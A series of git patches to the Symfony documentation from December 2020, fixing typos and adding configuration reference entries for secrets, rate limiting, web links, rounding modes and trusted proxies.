@@ -627,7 +627,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
+    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes

From b885099d7b7812fa134008cdb00b786da9d775e5 Mon Sep 17 00:00:00 2001
From: Alexander Dubovskoy <dan@ra-don.ru>
Date: Wed, 23 Dec 2020 17:48:32 +0300
Subject: [PATCH 1644/7107] Update lockable_trait.rst

Misprint has been fixed: added ":"
---
 console/lockable_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 9c77073d087..54f6e4b051d 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -39,7 +39,7 @@ that adds two convenient methods to lock and release commands::
             // automatically when the execution of the command ends
             $this->release();
 
-            return Command:SUCCESS;
+            return Command::SUCCESS;
         }
     }
 

From ccc128974d522b6708b512112e6efa31ef453755 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 12:36:11 +0100
Subject: [PATCH 1645/7107] [FrameworkBundle][WebLink] Config reference for the
 WebLink component

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..cb128f73d02 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -272,6 +272,7 @@ Configuration
   * `strict_email`_
   * `translation_domain`_
 
+* `web_link`_
 * `workflows`_
 
   * :ref:`enabled <reference-workflows-enabled>`
@@ -2994,6 +2995,17 @@ recipients set in the code.
             ]);
         };
 
+
+web_link
+~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+
+Adds a Link HTTP header to the response.
+
 workflows
 ~~~~~~~~~
 

From 6a758a514621b4c7e2c42e9068ead0ba4448443c Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 27 Dec 2020 20:46:46 +0100
Subject: [PATCH 1646/7107] Remove white space

---
 configuration/using_parameters_in_dic.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 730043af714..c81fcf7fa14 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -106,7 +106,7 @@ be injected with this parameter via the extension as follows::
     {
         private $debug;
 
-        public function  __construct($debug)
+        public function __construct($debug)
         {
             $this->debug = (bool) $debug;
         }

From d922ed43b736892edb4be7c7bbd11ec5a30f1501 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Sat, 26 Dec 2020 11:48:48 +0100
Subject: [PATCH 1647/7107] [Process] add docs for ExecutableFinder

---
 components/process.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index 5b1ee2ca420..b7845145ca3 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -483,10 +483,32 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
+
+Finding an Executable
+---------------------
+
+The Process component provides a utility class called
+:class:`Symfony\\Component\\Process\\ExecutableFinder` which finds
+and returns the absolute path of an executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver');
+    // $chromedriverPath = '/usr/local/bin/chromedriver' (the result will be different on your computer)
+
+The :method:`Symfony\\Component\\Process\\ExecutableFinder::find` method also takes extra parameters to specify a default value
+to return and extra directories where to look for the executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver', '/path/to/chromedriver', ['local-bin/']);
+
 Finding the Executable PHP Binary
 ---------------------------------
 
-This component also provides a utility class called
+This component also provides a special utility class called
 :class:`Symfony\\Component\\Process\\PhpExecutableFinder` which returns the
 absolute path of the executable PHP binary available on your server::
 

From c2500f9ebff40287335a64e03abae42f434965a3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 12:10:45 +0100
Subject: [PATCH 1648/7107] [FrameworkBundle] Config reference for Secrets

---
 reference/configuration/framework.rst | 31 +++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..4ca47e58768 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -197,6 +197,12 @@ Configuration
   * `utf8`_
 
 * `secret`_
+* `secrets`_
+
+  * `decryption_env_var`_
+  * `local_dotenv_file`_
+  * `vault_directory`_
+
 * `serializer`_
 
   * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
@@ -2483,6 +2489,31 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
+
+secrets
+~~~~~~~
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The environment variable that contains the decryption key.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+Path to an dotenv file that holds secrets. This is primarily used for testing.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
+
+The directory where the vault of secrets is stored.
+
 .. _configuration-framework-serializer:
 
 serializer

From 136b2aa1056b2a7b770fe9c804c24b55263a5252 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 28 Dec 2020 11:57:43 +0100
Subject: [PATCH 1649/7107] Added redirections to specific anchors for removed
 Templating articles

---
 _build/redirection_map | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 6c49dc6bed6..4954ce471fa 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -448,15 +448,15 @@
 /reference/requirements /setup
 /bundles/inheritance /bundles/override
 /templating /templates
-/templating/escaping /templates
-/templating/syntax /templates
-/templating/debug /templates
-/templating/render_without_controller /templates
-/templating/app_variable /templates
+/templating/escaping /templates#output-escaping
+/templating/syntax /templates#linting-twig-templates
+/templating/debug /templates#the-dump-twig-utilities
+/templating/render_without_controller /templates#rendering-a-template-directly-from-a-route
+/templating/app_variable /templates#the-app-global-variable
 /templating/formats /templates
-/templating/namespaced_paths /templates
-/templating/embedding_controllers /templates
-/templating/inheritance /templates
+/templating/namespaced_paths /templates#template-namespaces
+/templating/embedding_controllers /templates#embedding-controllers
+/templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events

From 5570ab83867190d892679ad5e0c5f8d3b6396ba3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 22 Dec 2020 23:34:14 +0100
Subject: [PATCH 1650/7107] [Session] Update incorrect default value for
 session.handler_id

---
 reference/configuration/framework.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..7a7fad45029 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1251,11 +1251,11 @@ alias will be set to this service id. This class has to implement
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``'session.handler.native_file'``
 
-The service id used for session storage. The default ``null`` value means to use
-the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
-let Symfony manage the sessions itself using files to store the session metadata.
+The service id used for session storage. The default value ``'session.handler.native_file'``
+will let Symfony manage the sessions itself using files to store the session metadata.
+Set it to ``null`` to use the native PHP session mechanism.
 You can also :doc:`store sessions in a database </session/database>`.
 
 .. _name:

From f0344be19e7c0f18b36957fd19e3fed901df215a Mon Sep 17 00:00:00 2001
From: Rhodri Pugh <rod@owsy.com>
Date: Thu, 24 Dec 2020 11:51:20 +0000
Subject: [PATCH 1651/7107] remove mention of master branch, no longer exists

---
 contributing/documentation/overview.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index f7d1e4e8a03..be7d3418c6e 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -121,7 +121,7 @@ branch of the ``upstream`` remote, which is the original Symfony Docs repository
 Fixes should always be based on the **oldest maintained branch** which contains
 the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
+``upstream/3.1``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -295,12 +295,12 @@ Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
 before your changes appear on the Symfony website.
 
-Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
+Why Should I Use the Oldest Maintained Branch Instead of the Latest Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Consistent with Symfony's source code, the documentation repository is split
 into multiple branches, corresponding to the different versions of Symfony itself.
-The ``master`` branch holds the documentation for the development branch of
+The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
 Unless you're documenting a feature that was introduced after Symfony 4.4,

From c39447ab9ddd33dcd0a68b43eb65f70d23188f17 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 11:30:56 +0100
Subject: [PATCH 1652/7107] [RateLimiter] Adding config reference for policy
 and lock_factory

---
 rate_limiter.rst                      |  2 ++
 reference/configuration/framework.rst | 36 +++++++++++++++++++++++++++
 2 files changed, 38 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 403aa9c462f..63e073a1e92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,6 +16,8 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. _rate-limiter-policies:
+
 Rate Limiting Policies
 ----------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4bc44ad1f17..cc00ae83c6f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -211,6 +211,13 @@ Configuration
 
   * :ref:`enabled <reference-property-info-enabled>`
 
+* `rate_limiter`_:
+
+  * :ref:`name <reference-rate-limiter-name>`
+
+    * `lock_factory`_
+    * `policy`_
+
 * `request`_:
 
   * `formats`_
@@ -1220,6 +1227,35 @@ dsn
 
 The DSN where to store the profiling information.
 
+rate_limiter
+~~~~~~~~~~~~
+
+.. _reference-rate-limiter-name:
+
+name
+....
+
+**type**: ``prototype``
+
+Name of the rate limiter you want to create.
+
+lock_factory
+""""""""""""
+
+**type**: ``string`` **default:** ``lock.factory``
+
+The service that is used to create a lock. The service has to implement the
+:class:`Symfony\\Component\\Lock\\LockFactoryInterface`.
+
+policy
+""""""
+
+**type**: ``string`` **required**
+
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
+
 request
 ~~~~~~~
 

From 95d52ea6af091519b911a655db42bcc725ebe67c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:24:00 +0100
Subject: [PATCH 1653/7107] Tweak

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a3bbbe2d7fa..8a126514b9b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1250,8 +1250,8 @@ lock_factory
 
 **type**: ``string`` **default:** ``lock.factory``
 
-The service that is used to create a lock. The service has to implement the
-:class:`Symfony\\Component\\Lock\\LockFactoryInterface`.
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
 
 policy
 """"""

From d5990bec534699ceaaeb211f3a2b0d3704036793 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:42:38 +0100
Subject: [PATCH 1654/7107] Added a link to the related RFC

---
 reference/configuration/framework.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index fb29e6c83d3..83b1cd90abb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3035,7 +3035,7 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Adds a Link HTTP header to the response.
+Adds a `Link HTTP header`_ to the response.
 
 workflows
 ~~~~~~~~~
@@ -3210,3 +3210,4 @@ to know their differences.
 .. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
+.. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988

From 3a7985f90472d45a282e82d8ce30de955f3dfa24 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 28 Dec 2020 02:09:18 +0100
Subject: [PATCH 1655/7107] Update rounding mode defintion integer type

---
 reference/forms/types/integer.rst | 45 +++++++++++++++++++------------
 1 file changed, 28 insertions(+), 17 deletions(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..80a946a33fd 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -55,31 +55,42 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
-By default, if the user enters a non-integer number, it will be rounded
-down. There are several other rounding methods and each is a constant
-on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`:
+By default, if the users enters a non-integer number, it will be rounded
+down. You have several configurable options for that rounding. Each option
+is a constant on the :phpclass:`NumberFormatter` class:
 
-* ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero.
+* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
+  rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative
-  infinity.
+* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative
+  infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_UP`` Round away from zero.
+* ``\NumberFormatter::ROUND_UP`` Round away from zero. It
+  rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_CEILING`` Round towards
-  positive infinity.
+* ``\NumberFormatter::ROUND_CEILING`` Round towards positive
+  infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round down.
+* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round down. It rounds
+  ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round towards the
-  even neighbor.
+* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round towards the even
+  neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+* ``\NumberFormatter::ROUND_HALFUP`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round up. It rounds
+  ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+.. deprecated:: 5.1
+
+    In Symfony versions prior to 5.1, these constants were also defined as aliases
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`
+    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round up.
 
 Overridden Options
 ------------------

From 9436d6337ca5b5d62b86059c72fa3846597046a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:56:15 +0100
Subject: [PATCH 1656/7107] Tweaks

---
 reference/forms/types/integer.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 80a946a33fd..984aa45ed89 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -57,7 +57,7 @@ Field Options
 
 **type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
-By default, if the users enters a non-integer number, it will be rounded
+By default, if the user enters a non-integer number, it will be rounded
 down. You have several configurable options for that rounding. Each option
 is a constant on the :phpclass:`NumberFormatter` class:
 
@@ -88,10 +88,9 @@ is a constant on the :phpclass:`NumberFormatter` class:
 .. deprecated:: 5.1
 
     In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
     class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
-
 Overridden Options
 ------------------
 

From 11e670134ae75a228f572279e85fb3f0842b0965 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 29 Dec 2020 19:03:34 +0100
Subject: [PATCH 1657/7107] Add Firebase notifier to documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c5e8181c22a..c5415b465a8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -131,6 +131,7 @@ integration with these chat services:
 ==========  ================================  ============================================
 Service     Package                           DSN
 ==========  ================================  ============================================
+Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://default/ID``
@@ -139,7 +140,7 @@ Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
+    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
     5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
     Webhooks instead of legacy tokens.
 

From 88130c10135ecdb2b92a5f6a530b564dffe9b41e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 30 Dec 2020 10:04:06 +0100
Subject: [PATCH 1658/7107] Use max_colons rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 59971c508f4..949ad80f3bf 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,7 @@ rules:
     lowercase_as_in_use_statements: ~
     max_blank_lines:
         max: 2
+    max_colons: ~
     no_app_console: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~

From 44d5818f19872d4f7fd41640ebd2e39b82959ed9 Mon Sep 17 00:00:00 2001
From: Marco <marco-beier@t-online.de>
Date: Tue, 29 Dec 2020 20:10:35 +0100
Subject: [PATCH 1659/7107] Minor fix to colon

Mostly not worth a PR but I wanted to change it either way.

Changed the display output from `::` to `:` as it is in the rest of the document.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 5fd4ad30225..86defd2bafc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1874,7 +1874,7 @@ use the ``generateUrl()`` helper::
 
     If you pass to the ``generateUrl()`` method some parameters that are not
     part of the route definition, they are included in the generated URL as a
-    query string:::
+    query string::
 
         $this->generateUrl('blog', ['page' => 2, 'category' => 'Symfony']);
         // the 'blog' route only defines the 'page' parameter; the generated URL is:

From 6fa2894b27067ca623fbc345f6df04da9258e8bf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 30 Dec 2020 10:19:59 +0100
Subject: [PATCH 1660/7107] Replace link to getConfiguration method

In my opinion, the link should redirect to the class where we can preview the method that must be overridden.
---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 25f8d76e76f..40eaf331d4f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -334,7 +334,7 @@ As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
 a constructor it will work automatically. If you
 have something different, your ``Extension`` class must override the
-:method:`Extension::getConfiguration() <Symfony\\Component\\HttpKernel\\DependencyInjection\\Extension::getConfiguration>`
+:method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
 
 Supporting XML

From f06a712d602844862cb0be976b9f31f6294b599d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 30 Dec 2020 14:27:00 +0100
Subject: [PATCH 1661/7107] Allow to configure trusted proxies and headers
 using config options

---
 deployment/proxies.rst                | 126 +++++++++++++++++++-------
 reference/configuration/framework.rst |  23 ++++-
 2 files changed, 113 insertions(+), 36 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index cae9e285648..15725b67007 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,28 +22,69 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information::
-
-    // public/index.php
-
-    // ...
-    $request = Request::createFromGlobals();
-
-    // tell Symfony about your reverse proxy
-    Request::setTrustedProxies(
-        // the IP address (or range) of your proxy
-        ['192.0.0.1', '10.0.0.0/8'],
-
-        // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
-
-        // or, if your proxy instead uses the "Forwarded" header
-        // Request::HEADER_FORWARDED
-
-        // or, if you're using a well-known proxy
-        // Request::HEADER_X_FORWARDED_AWS_ELB
-        // Request::HEADER_X_FORWARDED_TRAEFIK
-    );
+and what headers your reverse proxy uses to send information:
+
+.. configuration-block::
+
+    .. config-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            // the IP address (or range) of your proxy
+            trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+            trusted_headers: ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix']
+            // or, if your proxy instead uses the "Forwarded" header
+            trusted_headers: ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix']
+            // or, if you're using a wellknown proxy
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
+
+    .. config-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- the IP address (or range) of your proxy -->
+                <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+
+                <!-- trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers) -->
+                <framework:trusted-header>x-forwarded-all</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+
+                <!-- or, if your proxy instead uses the "Forwarded" header -->
+                <framework:trusted-header>forwarded</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+            </framework:config>
+        </container>
+
+    .. config-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Request;
+
+        $container->loadFromExtension('framework', [
+            // the IP address (or range) of your proxy
+            'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
+            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+            'trusted_headers' => ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix'],
+            // or, if your proxy instead uses the "Forwarded" header
+            'trusted_headers' => ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix'],
+            // or, if you're using a wellknown proxy
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix'],
+        ]);
 
 .. deprecated:: 5.2
 
@@ -61,6 +102,13 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
+.. versionadded:: 5.2
+
+    The feature to configure trusted proxies and headers with ``trusted_proxies``
+    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
+    Symfony versions you needed to use the ``Request::setTrustedProxies()``
+    method in the ``public/index.php`` file.
+
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
 
@@ -74,17 +122,17 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
 #. Once you've guaranteed that traffic will only come from your trusted reverse
    proxies, configure Symfony to *always* trust incoming request::
 
-       // public/index.php
+    .. config-block:: yaml
 
-       // ...
-       Request::setTrustedProxies(
-           // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           // run time by $_SERVER['REMOTE_ADDR'])
-           ['127.0.0.1', 'REMOTE_ADDR'],
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            // run time by $_SERVER['REMOTE_ADDR'])
+            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
-           // if you're using ELB, otherwise use a constant from above
-           Request::HEADER_X_FORWARDED_AWS_ELB
-       );
+            // if you're using ELB, otherwise use another Request::HEADER-* constant
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
@@ -100,6 +148,12 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
+    .. config-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
@@ -111,11 +165,13 @@ trusted proxies.
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 
-Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) may force you to use a custom header.
-For instance you have ``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
